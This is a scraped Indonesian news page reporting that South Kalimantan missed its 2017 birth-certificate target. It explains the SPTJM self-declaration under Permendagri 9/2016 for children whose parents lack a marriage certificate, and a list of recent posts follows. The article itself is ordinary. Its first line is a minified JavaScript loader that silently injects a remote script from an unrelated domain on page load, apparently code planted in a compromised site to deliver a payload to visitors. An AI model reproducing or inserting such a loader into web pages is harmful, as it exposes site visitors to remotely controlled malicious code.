(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

SPTJM Jawaban Bagi Anak Yang Mengalami Kesulitan Mengurus Akta Kelahiran


BANJARBARU, Sepanjang tahun 2017, Dinas Kependudukan Catatan Sipil dan Keluarga Berencana Provinsi Kalimantan Selatan mencatat untuk pengurusan akta kelahiran di 13 kabupaten/kota di Kalsel belum mencapai target.

Target Dinas Kependudukan Catatan Sipil dan  Keluarga Berencana (Disdukcapil KB) Kalsel pada tahun 2017 yaitu 85% anak berusia 0-18 tahun sudah harus memiliki akta kelahiran.

Kepala Disdukcapil KB Provinsi Kalimantan Selatan Ardiansyah mengatakan, rekapitulasi data terakhir di bulan November 2017 terkait pembuatan akta kelahiran dari 13 kabupaten/kota belum mencapai target yang dinginkan. “Yakni 85% dari keseluruhan anak berusia 0-18 tahun. Baru ada dua kabupaten yang sudah mencapai atau melebih target dalam pembuatan akta kelahiran, yakni Kabupaten Tanah Bumbu dan Hulu Sungai Selatan,” sebut Ardiansyah.

Ardiansyah menambahkan, belum tercapainya target pembuatan akta kelahiran dikarenakan kurangnya pemahaman masyarakat terkait pentingnya akta kelahiran untuk anak mereka.

“Saat ini kita coba terus untuk sosialisasi, agar mereka mau membuat akta untuk anaknya” katanya kepada Kanal Kalimantan, Kamis (4/1).

Selain itu, tidak tercapainya target pembuatan akta kelahiran di tahun 2017, dikarenakan persyaratan yang dibutuhkan untuk membuat akta kelahiran tidak lengkap, semisal terkait keterangan nikah kedua orang tua.

“Pernikahan tersebut bisa karena perkawinan di bawah tangan, perkawinan menjadi isteri kedua, sehingga hal tersebut akan membuat si anak sulit untuk mendapatkan akta kelahiran,” sebutnya.

Kementerian Dalam Negeri RI sudah menetapkan suatu ketentuan yang tertuang di dalam Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 9 Tahun 2016 tentang Percepatan Peningkatan Cakupan Kepemilikan Akta Kelahiran.

“Permendagri ini diterbitkan dengan pertimbangan bahwa kepemilikan akta kelahiran sebagai wujud pengakuan negara atas identitas anak masih rendah.  Melalui peraturan ini pemerintah mengeluarkan Surat Pernyataan Tanggung Jawab Mutlak (SPTJM),” katanya.

SPTJM dibuat oleh yang bersangkutan atau wali atau pemohon sebagai kebenaran dengan tanggung jawab penuh yang diketahui 2 orang saksi.

“Sehingga bisa digunakan untuk memenuhi persyaratan dalam mendapatkan akta kelahiran bagi si anak ketika orang tua tidak bisa menunjukkan surat nikah,” katanya.

Menurut Ardian, saat ini hanya ada beberapa daerah yang berani menerapkan SPTJM, untuk wilayah Kalsel belum ada yang menggunakan. “Karena adanya kekhawatiran di belakang hari jika terjadi suatu persoalan,” katanya. (abdullah)

 

Reporter : Abdullah
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

12 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

13 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

13 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

15 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

16 jam ago

This website uses cookies.